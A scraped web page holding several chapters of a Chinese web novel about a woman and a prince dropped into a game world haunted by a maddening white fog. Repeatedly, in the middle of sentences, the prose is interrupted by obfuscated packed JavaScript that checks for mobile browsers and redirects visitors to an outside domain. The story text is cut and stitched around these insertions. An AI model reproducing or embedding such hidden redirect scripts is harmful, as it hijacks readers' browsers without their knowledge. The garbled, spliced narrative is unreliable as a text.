天色是晦暗的，心情是阴沉的。 林筱握着手里的扫帚，看着眼前宽敞的柏油马路，阴暗地盯着又一个老年人随手丢了一个垃圾袋。 过于专注的目光也吸引了那个老年人的注意，他一眼就确定了目光的主人，嘲讽地扔下一团纸，慢悠悠地离开了这里。 “别傻站着了，打扫吧。”一旁四五十岁的中年妇女拍了拍林筱的肩膀，热情得毫无边界感，“再过半小时就下班了，只要能通过审核这一天的钱也就到手了。” 林筱木木地点了点头，拿着扫帚清扫起大街来。 她现在位于一条人流稀少的马路旁，四周被几十层高的大厦包围。道路上只有行人三两位，剩下的都是和她一样穿着橙红色制服的工作人员。 虽然她很清楚系统对她没好感，但她以为系统至少会看在积分的面子上给大家一个相对和平的结局。 没想到，1000积分，她换回了一个清洁工的工作。 还是临时工。 恐怕这个游戏里没有比她还冤种的人了吧。 大婶看着林筱恢复精神工作起来，用一副老生常谈的语气说道：“你们这些孩子就是不懂得珍惜学校的时光。只有在学校，你们才可以接触到自己平常接触不到的事情。等到毕业后，你们就要回到人生的正轨来，那些不该属于你的东西就不要妄想了。” 什么是不该属于她的东西？林筱握紧手中做工粗糙的扫帚，她这是命中注定只能当一个清洁工？ 没有等到林筱的回答，大婶也习以为常：“等时间久了，你就会习惯的。婶子是过来人，现在也是好心劝你，见识得太多不是好事，如果不能及时调整心态，就会和他一样。” 大婶指了指躲在墙角衣衫褴褛的青年人。他一动不动地半躺在角落，乱糟糟的头发与胡须遮掩了他的样貌，暴露在外的肌肤依稀可见曾经的白皙，但从这身打扮和气质看，这就是一个不折不扣的流浪汉。 林筱也是第一次知道，自己会和一个流浪汉一样。 “我不会的。”不会沦落到这个地步。 从大婶的话中林筱听出，这是一个看上去正常的现代社会，但也只是看上去。 这是一个被阶级扭曲的社会。每个人从出生就被限制了未来的可能，所有普通人供养着少数的所谓大人物，让这段畸形的关系更加牢固。 大婶还在说。 “扫地的人生来就是扫地的命，那些大人物也都是命中注定的大人物。”大婶用一种劝慰的语气安抚，“在学校里，你可能会和那些在大厦里工作的人的子女坐在一个房间，但来到社会，你就会发现你连见他们一面的资格都没有。” “做人，最重要的就是放宽心，学会认命。” 让一个从来都不相信命运的人认命，这可能是林筱听到的最有趣的笑话。 “这就是不认命下场？”她指着流浪汉问大婶。 大婶一脸理所当然地点了点头：“对，这就是不认命的下场。你看，他已经疯了。” 为了和林筱证明她的话，大婶甚至还用扫过垃圾的扫帚对准流浪汉拨弄了几下，但流浪汉毫无反应，沉浸在无人知晓的世界中。 “我们的任务是在今天下午五点前扫完这段路，还是很轻松的。”教导新人的任务完成，大婶语气轻快地继续说道，“今天我多干点，明天你就该学会怎么做了。到那时两个人总比一个人干得快，我们也能多休息一段时间。” “嗯。”林筱沉闷地应下。 她再次怀疑，这个世界就是系统特意挑选针对她的。这里的一切都让她觉得恶心。但在不知道这个世界的底牌前，林筱不会轻举妄动。 何况，她现在还丢了一个人。 那个和她绑定，本该一起出现的“同伴”，晋王。 他现在人又在哪里？ 被人惦记的晋王可没想起自己此刻是和别人绑定的关系，他拿着手中的工作牌，看着眼前陌生的楼宇与奇怪的工具，眼中闪过浓浓的兴味。 来自异乡人的能力，一个陌生的世界。 “姜时宴，在这里傻站着干嘛。” 晋王的肩膀感受到不带恶意的撞击，他控制住身体的本能没有回击，转身看向攻击的源头。哪怕还不清楚他现在在哪里、是什么身份、需要做什么，但他还是熟练地带上自己的假面，淡定从容地开口：“在看今天的天气，是个不错的日子。” 天气？ 撞击他的青年男子从他肩膀处探出头来，灰蓝色的天空，密密麻麻的高层建筑遮挡了阳光，留给他们的只有前一栋建筑的阴影。向下看去，还是那些毫无生气的植物，干瘪的叶片蜷缩，从上到下都透着病态的黄色。 “只要白雾没出现，什么天气我都接受。”虽然不知道自己的这位同事怎么突然对这一尘不变的天气有了兴趣，但他还是端着自己的咖啡杯嘀咕道。 白雾？ 这个陌生的词汇瞬间就被晋王捕捉，很快他就意识到，这是一个很关键的信息点。 一个足够和别人谈判的有利信息。 “该死的白雾。”他顺着年轻男子的话咒骂，不动声色地观察着周围人的表情。 “这该死的白雾！”这句咒骂很快就吸引了短暂休息的众人的附和，本来安静的茶水间瞬间人声沸腾，每个人都在抱怨对白雾的不满。 他们将生活中一切不如意的事情都怪罪到白雾身上，肆无忌惮地宣泄自己的负面情绪，只有晋王静静地关注着眼前的这一切。 同一个敌人更会得到对方的好感，一个话题的打开也能让他收集到足够的信息。虽然他依旧不清楚自己怎么会跟随着林筱行动，但只要他掌握了主动权，那就会是林筱跟随他行动。 虚假的名义永远比不上掌握在手中的权力，这一点，他比谁都懂。 就算是林筱，也无法左右他。 另一边，还不知道自己正被人算计的林筱也打听到了关于白雾的消息。 “我们这个工作那么清闲也是有原因的，因为我们这是室外工作。”大婶依旧热情地教导新人，“在室外，难免会遇到白雾。” “白雾。”林筱重复了一遍这个似乎被赋予其他含义的词汇。 这个词就像本身携带恶毒的诅咒般，即使只是听别人复述一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073099|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍，大婶依旧浑身抖了一抖：“该死的白雾！只要进入过白雾的人，他们的大脑都会被破坏，成为精神病。所以我们这行的第一要注意的，就是避免接触白雾。” “是那个吗？”林筱抬起手指，指了指不远处突然出现的烟雾。 最开始，它的颜色很淡，淡得如果不是林筱眼神好根本看不出与其他地区的差别。但很快，越来越多的白雾堆积，最远处的那栋建筑只能看见模糊的影子。 它的增长应该是指数级别。越来越多的建筑都被埋藏于白雾之中，无数来不及躲避的人群在白雾中发出奇怪的声响，而一旁的大婶已经腿软地快要站不住了。 “躲到哪里？”林筱依旧镇定地询问大婶。 “躲哪里？”大婶已经被害怕摄住所有的心神，只会无意义地重复他人的话语。 唯一知情的人现在也派不上用场了，林筱环顾四周，想要找出一个庇护所。 如果白雾是这个世界的灾难，那这里的人依旧可以生存就证明他们已经制造出可以对抗白雾的工具。 而这个工具，结合大婶刚才说的户外工作者风险更大的话语，大概率就是这里的建筑。 他们四周都是高楼大厦，门口的保安早在发现白雾的第一时间就紧缩大门，现在过去不一定能躲进大楼。 但系统哪怕为了维持面子上的公平公正，也不会在开局就给玩家设下必死的陷阱。 所以，这里还会存在一个专门提供给他们避难的空间。 林筱看了眼她们的垃圾车，食物腐烂发酵的臭味即使隔了几米远依旧还能闻到。 但没有别的地方了。 林筱皱着眉，捏着鼻子，硬是把一个人到中年逐渐圆润的大婶拉进垃圾车内，关紧车门，等待命运的判决。 幸好由于林筱的业务不熟练，她们勉强还能找到一个干净的地方，只不过要忍受气味的袭击。但和命相比，这一切又没那么重要了。 车厢一侧有一扇窗户，勉强可以容纳一双眼的车窗就是林筱目前唯一可以观察到外界的通道。 白雾已经糊上了车窗。 但凡她动作再慢一些，她们就要被白雾追上，成为流浪汉中的一员。林筱亲眼所见，那名流浪汉在白雾来临之际，展现出不合身体状况的矫健，心甘情愿地扑入白雾之中。 浓厚的白雾遮掩了其中的一切，林筱不知道流浪汉的结局会是什么，但听大婶的意思就知道，那绝不是好事。 垃圾车看着破旧，但密封性却出乎意料地好。即使她们现在被白雾包围，却依旧没有雾气顺着车厢的空隙钻入。 她再一次赌赢了。 大婶渐渐恢复镇静，嘴唇颤抖着祈祷她信仰的神佛。她紧紧攥住林筱的衣袖，颤动的眼皮表明着她的惶恐与后怕。 林筱坐在最干净的角落，任由大婶缠在她的身上，静静地等到白雾的散去。 这一次，系统可能真的没有骗她。清洁工的确是个值1000积分的关键职业。 在这个位置，她能更合理地接触白雾，接触这个最有可能毁灭这个世界的存在。 然后，解决它。 45. 第二个世界2 白雾来得突然，去得也快。 还没等林筱探究出这个白雾有什么威力时，车窗外的世界已经再次恢复了清晰。没有人出来，林筱不敢轻易离开垃圾车，只能看着身边的大婶。 另一边恢复镇静的大婶拉住林筱的手不断地感谢：“还是你们年轻人反应及时啊。小林，如果不是你，我今天恐怕也要变成疯子了。多亏了有你啊。” 粗糙甚至有些干裂的皮肤接触到林筱的掌心，她没有松开大婶的手，拉着她起身：“这本来也是我应该做的。” 进入白雾的后果只是变成疯子？那也不是不能接受。 林筱垂眼打开车厢，搀扶着大婶离开垃圾车。 宽阔的路上依旧没有行人，只有零星的落叶飘洒在她们面前。路旁的窗户后是一张张对现实麻木的脸庞，冷漠地看着她们再次踏上这片土地。 林筱等着大婶安然站稳，这才从车厢探出身子。 她第一个关注的就是流浪汉。 在林筱的猜测中，流浪汉不说神智错乱，至少也该有些异样的表现。 但是都没有。 他平躺在白雾曾经逗留的土地上，脸上是难以描述的满足表情，两颧的潮红更是激动过后的余韵。但那不是因为情感得到疏泄后的空虚，更像是理想抱负得到实现后精神上的志得意满。 奇怪。白雾奇怪，人也奇怪。 大婶厌恶地绕过他，对着林筱招了招手：“组长给我们发消息了，今天可以提前下班了。” 林筱保证自己不是故意的，但就是那不小心的一瞥，她看见了大婶手中的手机。 小屏幕的智能机，上面只有几个基础的应用软件。他们的组长和她联系用的是一个蓝色图标的软件，应该是这个世界常用的通讯软件。 放大的字体将他们的对话明明白白映入林筱的眼帘。 “应上级通知，白雾即将出现，所有员工提前收工。” 对话时间，半小时前。 也就是在白雾出现前，这个世界的人已经提前掌握了它的动向并向户外工作人员发出提醒。只不过因为林筱遇到的这个大婶不太习惯看手机，这才让她们陷入险境。 大婶抬头时，林筱已经收回了视线。她心虚地藏好手机，对着林筱呵呵一笑：“今天情况特殊，所以我们才能提前下班。不过你放心，你救了婶子一命，婶子就绝不会亏待你。别人新入职第一天工资会打折扣，但婶子已经帮你和小组长申请好了，就给你正式员工的工资，一分都不少你。” 看着她脸上心疼不舍的表情，林筱信了。 倒不是信她随口编出的和组长打商量的话术，而是信她会给她全部的工资。 但是当钱真的到手时，林筱又忍不住怀疑大婶是不是在最后关头又后悔了。主要是那个钱，少得可怜。 五十元，一天的工资。 林筱从出生以来，就没见过那么少的工资。哪怕是大学时期的兼职，时薪也有十三四，半天的功夫五十就可以到手。 但往好的想，或许这个世界的物价就很低？ 抱着这样的想法，她找到了一间看上去并不奢华的快捷酒店。 她只是站在门口，没有进去。 因为门口的招牌就已经告诉她，她住不起。这里一晚，也需要起码两百元。 所以并不是这个世界的物价低，而是他们的劳动不值钱。 果然，系统的每一步都是有意义的。就像它这次在她选择完身份后再次提醒了她积分兑换货币的选项，她却只以为系统贪图她的积分，眼睁睁错过改善生活质量的捷径。 不过这也不能改变系统在她心中的形象。1000积分换来这个身份的仇，她不会忘记。 但现在最重要的，还是找到一个正规的住处。 在别的世界，她还可以露宿街头。但在这个世界，为了应对不知道何时会出现的白雾，她也必须找到一个室内的位置才能安心地闭上眼。 或许是她站在快捷酒店门前的时间太久，又或许是这位酒店前台的小姐看出了她的穷苦，她把林筱拉到一边，给她指明了另一条道路。 廉价旅社。 她翻出口袋里系统赠送的破旧手机，根据导航的指引找到了那个挤在偏僻角落的廉价旅社。 它看上去就像是从楼宇中间硬挤出一个空间的危楼，狭长高耸，搭建在外的楼梯盘旋而上，如同弯弯扭扭的爬虫。 如果这里不是林筱即将入住的地方，她也会评价这里是一个城市的寄生虫，展现着一个城市最落魄的光景。 但现在，这是她今晚的宿舍。 她吸了一口气，端起一副熟练的姿态走了进去。 牌匾上的灯光稀稀落落，六个字也只亮了两个，连一半的概率都没有。老板看见有人进来连眼皮也不抬，懒洋洋地开口：“住一晚二十，水电任用，一口价，加一元提供一次性用品。晚饭十五，早餐五，食堂自助，凭票入场。” 一套全部购买下来，刚到手的工资就只剩下九元，连两位数都没有。 真是闻者伤心，见者落泪。 “住一晚，加一元。” 来这里的都不是富裕的人，老板也只是习惯性推销一句，没觉得对方真的会花钱吃饭。所以当听到林筱这一句话时，他反而什么反应都没有地收了钱，打开没了把手的抽屉，找出一把老式的钥匙丢给林筱。随后他又起身打开一旁的柜子，随手翻出做工粗糙的牙具和洗浴用品，指了指外面的楼梯：“3楼第二间房。” 林筱顺着他手指的方向抬头，入眼的就是那饱经风吹雨淋的铁皮楼梯。 从外面看着陈旧的楼梯凑近看时更觉得腐朽。轻薄的铁皮涂层已经剥脱得所剩无几，露出的铁质结构又满是锈迹，不过是风吹过的力度都能让它摇晃，简直不敢让人想象它能否承托得起人的重量。 当林筱踏上去时，她知道了答案。 可以，但很吵。 她迈出的每一步都会带给这个应该立马退休的楼梯沉重的负担，腐蚀的锈迹让它的关节徒增无用的摩擦力，刺耳的声响如同它垂死的哀鸣尖锐刺耳。 还没走几步，楼上的窗户就被陌生人打开，低俗恶毒的咒骂轻飘飘地落在林筱身上，发泄着归属底层的不满。 这也算是一种从未有过的体验。 打开房门时，里面已经有四个人住进去了。劣质香烟燃烧后释放的焦苦味道顺着打开的门缝扑入林筱的口鼻，不由地让人头晕脑胀。 左右各两张上下铺，一个房间可以住8个人，他们这个房间目前还算空。空着的床铺已经堆满其他人的东西，看见林筱进来时她们骂骂咧咧着整出一张还算干净的空床，继续沉迷在烟雾缭绕之中。 至少这里都是女性，老板还算有良心。 林筱不习惯这里的空气，扫了眼自己的床铺就走到阳台通通气，顺便打开自己的手机。 导航时她就发现上面只有一个人的联系方式。之前忙于安顿下来，她就没有找过去，如今也算有个落脚的地方，是时候探究一下对面人的身份。 名字标注的是哥哥。 系统选择的身份一般都不会与这个世界有太深的关联，所以这个哥哥的人选，林筱没有第二个猜想。 她拨了过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不喜欢有人合作是她的事情，但合作伙伴不配合更让人恼火，尤其在这个要命的游戏中。 她需要让对方明白这个游戏的玩法，以及树立自己绝对的主导权。 [欢迎玩家进入游戏世界72。] 系统永远懂得在什么时候出现会让人更加厌烦。 [世界72为现代背景世界，所有以未来科技为基础的道具将限制使用。 玩家身份为贫民窟出生的清洁工，请玩家在三日内成为正式工人，否则视为放弃此身份。 为提升玩家游戏体验，玩家可通过积分兑换相关资料与系统帮助，本次世界仅限使用三次。 本世界基础任务：入职任意职业并存活2周。 还有更多隐藏职业等待玩家的挖掘。 祝愿各位玩家都有完美的游戏体验。] 相似的话术，相似的提示。 “我的道具信息。”她询问系统。 合理的咨询系统不能拒绝，它也不需要拒绝：[影子娃娃（姜时宴）：7号世界人物林洛所赠，已绑定56号世界人物姜时宴。剩余使用次数0/1，耐久度95/100。当前身份：技术总监。] 果然是比她更富有的身份，获取信息的途径与范围也应当会比她广。 她需要加快速度了。 林筱看着身后烟雾缭绕的房间，不易察觉地皱了眉。 想要了解现代社会，最快的方式就是网络。 她要去网吧。 46. 第二个世界3 林筱想要找的网吧就在和旅社同一条小路的尽头。 和这间旅社一样，同样生存在这片土地的网吧也是一致的破败风格。不仅门面落灰像个经久失修的仓库，就连内部的使用的电脑也都是淘汰下来的二手货。 放在以前，林筱看也不看一眼。但到现在，林筱还能勉强能说出它的优点：能上网。 能用和便宜已经是林筱目前最大的需求，别的她也不指望了。 林筱目前身上的流动资金还有二十九块钱，其中两块还要交给网吧，她还顺便买了一盒山寨牌子的泡面当做晚饭。这么算下来，真正属于她的钱还剩下二十四元。 这才拿到钱没多久，就已经有一半消失不见。 网管也是和旅舍前台一个风格，麻木冷漠地接过钱，给她开了机子，送上泡面，又慢悠悠地回到属于自己的位置。 电脑开机的速度很慢，磨磨蹭蹭将近1分钟才让林筱看见了桌面的影子。但林筱现在最廉价的反而是时间，何况这间网吧上机两小时内不加价，这点时间她消耗得起。 这个世界系统给他们的时间是两周，但系统提示触发的时间却不是刚进入游戏的时候。不知道是因为她道具的原因，还是这个世界藏着别的秘密。 林筱一边想着，一边打开桌面上显眼的搜索引擎，打下了“白雾”两个字。 从大婶的语气中就可以得知，白雾是这个世界人人都知晓的事物，所以网络并不会屏蔽它的存在。 有人，有网络，就会有争议，而争议最能看出所有事物的多面性。 她和晋王在这个世界相比，她唯一的优点就在于她更熟悉现代社会，更了解现代社会生存的规则。想要胜过晋王，她只能从这方面下手。 网页慢腾腾地打开，前面几条信息都是广告，宣传着形似头盔的白雾防护用品。往下翻了一会，林筱才找到一个论坛点了进去。 这是一个属于白雾爱好者的论坛。 白雾不具备致死性，所以对它的想法，有人爱，也有人恨。 有人觉得那才是属于人们的乐园，也有人觉得那是恶魔栖息的地方。 但关于白雾的起源，没有人知道。它悄无声息地出现在人们身边，逐渐成为大家生活不可逃避的事情。 从有数据统计的时间开始，在白雾中死亡的人很少，大多数人都在经历白雾后疯了。 也正是因为这个疯了，他们怀疑白雾中藏着不为人知的神秘物质，甚至组建了专门的白雾探险团，就是为了探索里面的奥秘。 但至今无人破解。 从这些信息上看，白雾就像是这个世界上自然诞生的未解之谜，虽然奇怪，但也能理解。最重要的是，它不具备致命性。 从她在前面两个世界的经历来看，系统需要他们解决的问题都是对世界文明有强破坏性的特殊存在，而白雾还够不上。 是她怀疑的方向错误了吗？ 林筱指尖敲击着桌面，清脆的声响在嘈杂的网吧内并不清晰。她还是相信自己的直觉，这个世界的问题就在于白雾。 那就是有其他信息她用这个方式查找不出。 她双手脱离键盘，起身去免费的热水区接一些开水。 不知道是不是她的错觉，系统有在故意限制她的行动。至少在这个世界，她做什么都觉得束手束脚。 泡面的香精气味与其他混杂的气味交缠，熏染出更加复杂的味道，只不过半小时就让人觉得呼吸困难。 在这种环境下，还有人叼着劣质香烟凑到林筱耳边：“哟，还有人花钱来找白雾的消息啊，该不会钱多的没处花吧？既然这样，不如给我们哥几个一点零花钱玩玩？” 林筱转过头。 十五六岁的小孩，枯黄的头发被散发着浓香的发胶折腾得奇形怪状，咧着嘴角装出一副凶狠的模样，但也只能欺负一下老弱病残。 显然，林筱现在就被他们归在这一类好欺负的人群中。 大概她的外貌就是最好的迷惑方式，所有第一次看见她的人都会觉得她是一个弱不禁风的乖乖女。 正好，林筱也不想浪费自己的钱。如果能反打劫一场，那更不亏。 她将泡面叉固定住杯面的纸盖，小心地转移到安稳的台面，这才在其他人怜悯的眼神中顺从地跟着他们走向了幽深黑暗角落。 其实就是走出网吧后拐弯的地方。 这里就像上个世界那些扭曲的小巷一样，零散的厨余垃圾与污水，是这个城市最藏污纳垢的角落。他们的脚步声甚至惊起了几对还不熟的野鸳鸯，在慌乱中扯着自己的衣服各奔东西。 少年们也选定了位置停下脚步。 这里是少数干净的地方，看得出少年对这里很熟悉，也没少干这件事。他们利落地从兜里掏出几把水果刀对准林筱，示意她拿出身上所有的钱。 二十四元，以前的林筱看不上眼，此刻的林筱也不愿意轻易给出去。 她看着周围的环境，安静偏僻，偶尔路过的行人也都低着头不愿多管闲事。也就是说，就算有人在这里呼叫，也没有人会理睬。 “看什么？”少年高昂着头颅，语气凶狠，“就算你叫破喉咙，也没有人会来救你。这里可是垃圾场，恶人的流放地，著名的三不管地区。来这里的人，不是穷得连命都无所谓，就是故意来寻乐子的恶徒。你运气好，遇到的是我们几个不要人命只要钱的坏人，不然你就别想全着走出去。” 林筱看着他，只觉得是一只奶凶奶凶的橘猫虚张声势地探出爪子，根本不把他的警告放在心上：“你们对白雾很了解？” 但在少年心里，林筱也是一个奇奇怪怪的女人。他警惕地看了眼林筱，确认她没有其他奇怪的行为，这才不以为意地开口：“对白雾最了解的，不就是我们这些人。” 我们这些人？林筱回忆他们的共同点。清洁工，贫民区，他们要说共同点，那就是社会身份都不高。 没想到白雾都会看人下菜碟。 “怎么，你想了解白雾？”少年看她又不说话了，自以为嚣张地拿着水果刀贴近林筱的脖子，“只有钱到位，什么都好说。你想知道什么，我们都可以慢慢聊。” “我也很想这样。”林筱低着头叹了口气，手指在少年震惊的眼神中夺过他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“网上的那些人什么都不知道，那是因为白雾不会庇佑他们。”说到这，少年不屑地撇了撇嘴，脸上露出向往又害怕的神情，“但其实白雾里面，什么都有。” 为了表示自己的郑重，他又强调一遍：“什么都有！” 听少年说的，白雾竟然不是她以为的那样，居然还是个弱势群体保护主义者。 “但那些疯了的人又是怎么回事？” “他们都是被神遗弃的人。”少年肯定地开口，“我小叔就是从白雾里平安回来的人。他跟我说，白雾里他就是人上人，顿顿吃肉，天天住豪宅，出行开豪车，手里还有数不尽的钱，那日子别提多潇洒。只可惜伊甸园的东西只能存在于伊甸园，带到外面就会像白雾一样消失在空气中，所以才会有专门追逐白雾的组织存在。” “那你怎么不去？”这白雾听上去是个不错的东西，那听着这些故事长大的少年怎么却一点也不心动？ 少年脸上再次露出惊恐的表情，扭过头不看林筱：“我的父母不喜欢我，所以神也不会喜欢我的。不被神喜欢的人就会疯，疯了的人在这里活不下去。” “神的喜好或许和人类不一样呢？”林筱不以为意地说道，她踹开仍在哀嚎的人，抬了抬下巴，“你瞧，试验的机会到了。” 不远处，白雾逐渐生成。 47. 第二个世界4 白雾散去，来自人类文明的光照均匀地照拂每一寸地面，夕阳逐渐隐没于地平线上，留下一抹绚烂的晚霞。 金碧辉煌的房间内，恒温装置稳定地发挥功效，即使是盛夏也不见一丝热气。皮质的老板椅随着林筱的清醒而轻微旋转，露出银色光亮的桌面。 这金金银银的配色，还真不是一般人可以想出来的。 就算没有外人的提醒，林筱也能猜到这里只是一个幻境。毕竟这荒诞中带着现实色彩的环境可不是一个正常世界该有的。 “林总，”一步三扭的秘书拧着蚂蚁腰弯下身来，手里捧着一杯香甜的热可可呵气如兰，声音甜得如同流淌的蜂蜜，甚至有些发腻，“您工作辛苦了，喝点水吧。” 秘书小姐抬起头，对她魅惑地眨了一下眼。 先不说她的秘书怎么会是一个向她抛媚眼的女性，就拿这被热可可代替的水也能看出这个幻境不太智能。 既然是迷惑她的，怎么也该尊重一下她的喜好吧。 瞧这模样，说不准这个白雾是哪个科学怪人提取贫民区众人脑电波构建的全息世界，但因为系统没有经历足够的数据冲刷所以才显得格外笨拙。 在没有调查清楚之前，什么猜想都是有可能的。 林筱没有拒绝这一杯热可可。正好她的晚饭被那三个少年打断，适当的补充能量也好应对之后会发生的事情。 但说到那三个少年，他们现在在哪？明明在进入白雾之前，他们的距离那么接近。按理来说他们也会出现在同一区域，但现在却没有他们的任何踪迹。 这还是一人一个单独的幻境？ 林筱看着她目前唯一接触的人形生物，眉眼弯弯：“公司最近的合作谈得怎么样？” “合作？”秘书眼神中闪过茫然，但看向林筱时却依旧挂着甜甜的微笑，努力将这句话理解成自己明白的意思，“是今晚的温泉之旅吗？” 林筱盯着她的秘书一会，直到她脸上甜美的笑容都开始僵硬才慢吞吞地挪走视线：“嗯，是的。” 果然是幻想中的世界，哪有公司不谈业务一心只有游玩的。 林筱喝下一口热可可，味道和现实世界没有差别。 视觉、嗅觉、味觉、听觉、触觉都没能找到这个世界的漏洞，她还需要更多的样本进行试验。 林筱放下手中的咖啡杯，透过偌大的落地窗看向室外。 就她们谈话的一会功夫，晚霞已经从天际消失，灰蓝色的天空升起白色的月亮与星子，昭示着夜晚的来临。向下瞥去，路灯已然亮起。 时间的流速比正常世界要快一些。 “现在已经晚上了。”林筱看向秘书小姐，“我们是不是该做些准备了？” “是的，林总。”回到自己熟悉的领域，秘书小姐的甜美诱惑稳定输出，“我打的车马上就到了呢～” 林筱完全没有被诱惑到。 不是因为秘书小姐的魅力不够，而是作为一位拥有高达十几层写字楼的集团老总，她居然连一辆自己的车都不配有。太多的槽点让林筱根本无法代入这个环境中来，自然也感受不到属于这个幻境中角色的人格魅力。 但秘书小姐的任务就是引领林筱来到指定地点，哪怕林筱就在她面前做出不符合人设的事情，她也完全看不见。 所以，秘书小姐给她安排了男浴似乎也不是不能理解。 不，完全不能理解！ 林筱站在更衣室前，始终没有勇气走进去，哪怕这个世界可能就只有她一个活人。 温泉的热气随着门帘的缝隙漏出，独特的硫磺气味浸入林筱的口鼻，带给她昏昏欲睡的舒适感。但独特的身份错位体验让林筱保持着高度的清醒，这种冰火两重天的感受只会让她觉得头晕脑胀，恶心难受。 周围始终没有其他人出入，可能就连掌管白雾的存在都看不下去林筱的磨磨蹭蹭，换完衣服的秘书小姐来到更衣室门口，惊诧地看着她：“林总不换衣服吗？” 林筱看着男士更衣室的门帘，不说话。 “林总是害羞了吗？”秘书小姐放软了声音，就像黏糊的蜜糖，一陷进去就出不来，“今晚这里只有我们呀。您忘了，您把这里包场了吗？” 包场，这可能是林筱目前听到的唯一的好消息了。 “我只是觉得有些热。”她也不管这个解释牵不牵强，反正这是她的解释，秘书小姐就必须接受。 秘书小姐果然也接受了：“那我先进去了，林总换好衣服可以来找我哦。” 秘书小姐的身影被门帘遮掩，林筱看着眼前的黑色门帘，拧着眉吸了一口气，走了进去。 走道上果然没有人。 和女士更衣室没有差别的布局，甚至因为是高档会所而拥有独立的更衣室，里面更是具备更衣储物淋浴三种功能。 就算有其他人，也避免了林筱想象中脏了眼的情况发生。 林筱在这里没有发现监控的存在，于是精心挑选一个易于逃离的房间，再三确认没有第二人的痕迹才谨慎地反锁好房门，换上统一制式的浴袍，将随身物品藏了起来。 虽然白雾也没把她的随身物品带进来，但这个身份所自带的东西她觉得还是有必要保留的。说不准什么时候就成了她离开的关键信息。 一切准备完毕，她锁好房门，来到了温泉的真正入口。 但是，她遇到了其他人。 在一个房间里。 还是她熟悉的人。 晋王挑眉看着和他同处一个男士更衣室的林筱，在她的目光下拢了拢自己的衣领，眉眼低垂，欲言又止：“你怎么，哎，算了，你高兴就好。” 要说什么就直说，这种吞吞吐吐的说法反而显得她不怀好意，对他的□□垂涎已久一样。 林筱横了他一眼，皮笑肉不笑：“晋王殿下也进入白雾了？” “路上不小心。”他的手依旧护在胸前，一副柔弱无辜的模样望向林筱，眼底是完全没有遮掩的揶揄笑意。 林筱看着他做作的模样，又想到他在上个世界坑了势力最强大的两方的事迹，翻了个白眼，眼不见为净。 这种白瞎了一个强力道具的心痛感，还不如假装它不存在。 看到林筱率先走了出去，晋王也没有继续纠缠，默默跟在她身后来到了温泉池旁。 炎热的天气下，温泉池上袅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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跟随着秘书小姐走向无人的温泉池，林筱心念一转，来到白雾，未必不是一件好事。 在这里，她解决晋王的可能性更高。就算无法让他回归系统，也能使他在这个世界变成一个无用的疯子。 “怎么了？”看到林筱停下脚步，晋王对她笑了一下，询问道。 林筱偏头看着一侧有些浑浊的水池，再看着只剩下背影的秘书小姐，按捺住所有的戒备与杀意，主动邀请：“要不要一起泡池子？” 晋王眉峰微挑，对这出不在意料之内的戏码有些惊愕。他再次当着林筱的面合上自己的衣襟，似笑非笑：“男女授受不亲。” “晋王殿下，时代变了。”林筱早就猜到了他会拒绝，但她早有打算。 他们所站的位置就在一个圆形温泉池旁，湿漉漉的地面有些滑脚，也方便了林筱将人推入池子中。 果然，就和她猜测的一样，他们必须要在温泉池内泡完足够的时间才能离开。所以一旦进入水池，里面的人就暂时无法离开。 她施施然地倚靠在特意为靠坐而设计的平面之上，隔着朦胧的水雾看向依旧将自己包裹齐全的男人：“晋王殿下，现在，我们可以聊天了吧。” 48. 第二个世界5 温泉的热气弥漫在整个隔间的上空，眼睫被压倒，世间万物都变得模糊不清。 “聊什么？”晋王站在距离林筱最远的地方，保持着一个对大家都友好的距离，慢条斯理地开口。 隔着雾气组成的帘，他看着对面的人，对面的人却突然走神。 “这就是传说中的天堂吧！” “这就是那个温泉吗？” “欸？他们怎么可以凶我，我才是老板，我想让他们做什么他们就要做什么！” 细碎的声响断断续续地钻入林筱的耳内，不响，却很扰民。就连晋王说了什么她也没有听清，只是不断地试图捕捉那个声音的来源。 她认出了这个声音，是和她之前在一起的三个少年中的一个。 “看我的眼神那么凶，哼，我让你一直泡在水里。我现在就是老板，你们都要听我的话。” “什么玩家，什么任务？这是白雾，又不是游戏。就算是游戏，我现在也是游戏的控制者。” 那个声音小且遥远，林筱已经尽了最大的努力也依旧只能听到这些零碎的声音。 在那个少年的幻境中，他遇到了一个自称玩家的人？ 即使还不能确定这个玩家和林筱知道的是否一样，但这也不妨碍她提前准备起来。玩家是肯定会遇到的，除非他们都是心存侥幸的懦夫。但在遇到玩家前能不能隐藏好自己的身份，这就关系到她是否能拿到主动权了。 虽然这一次，她并不打算和那些玩家相认。比起并不熟悉的玩家，她更愿意相信自己的力量。 “林筱？”水汽氤氲中，就连晋王呼唤她名字的声音都显得格外柔和缱绻。 林筱回过神来，看着对面防狼一样防着她的晋王，随意地扯出一个话题：“你过得怎么样？” 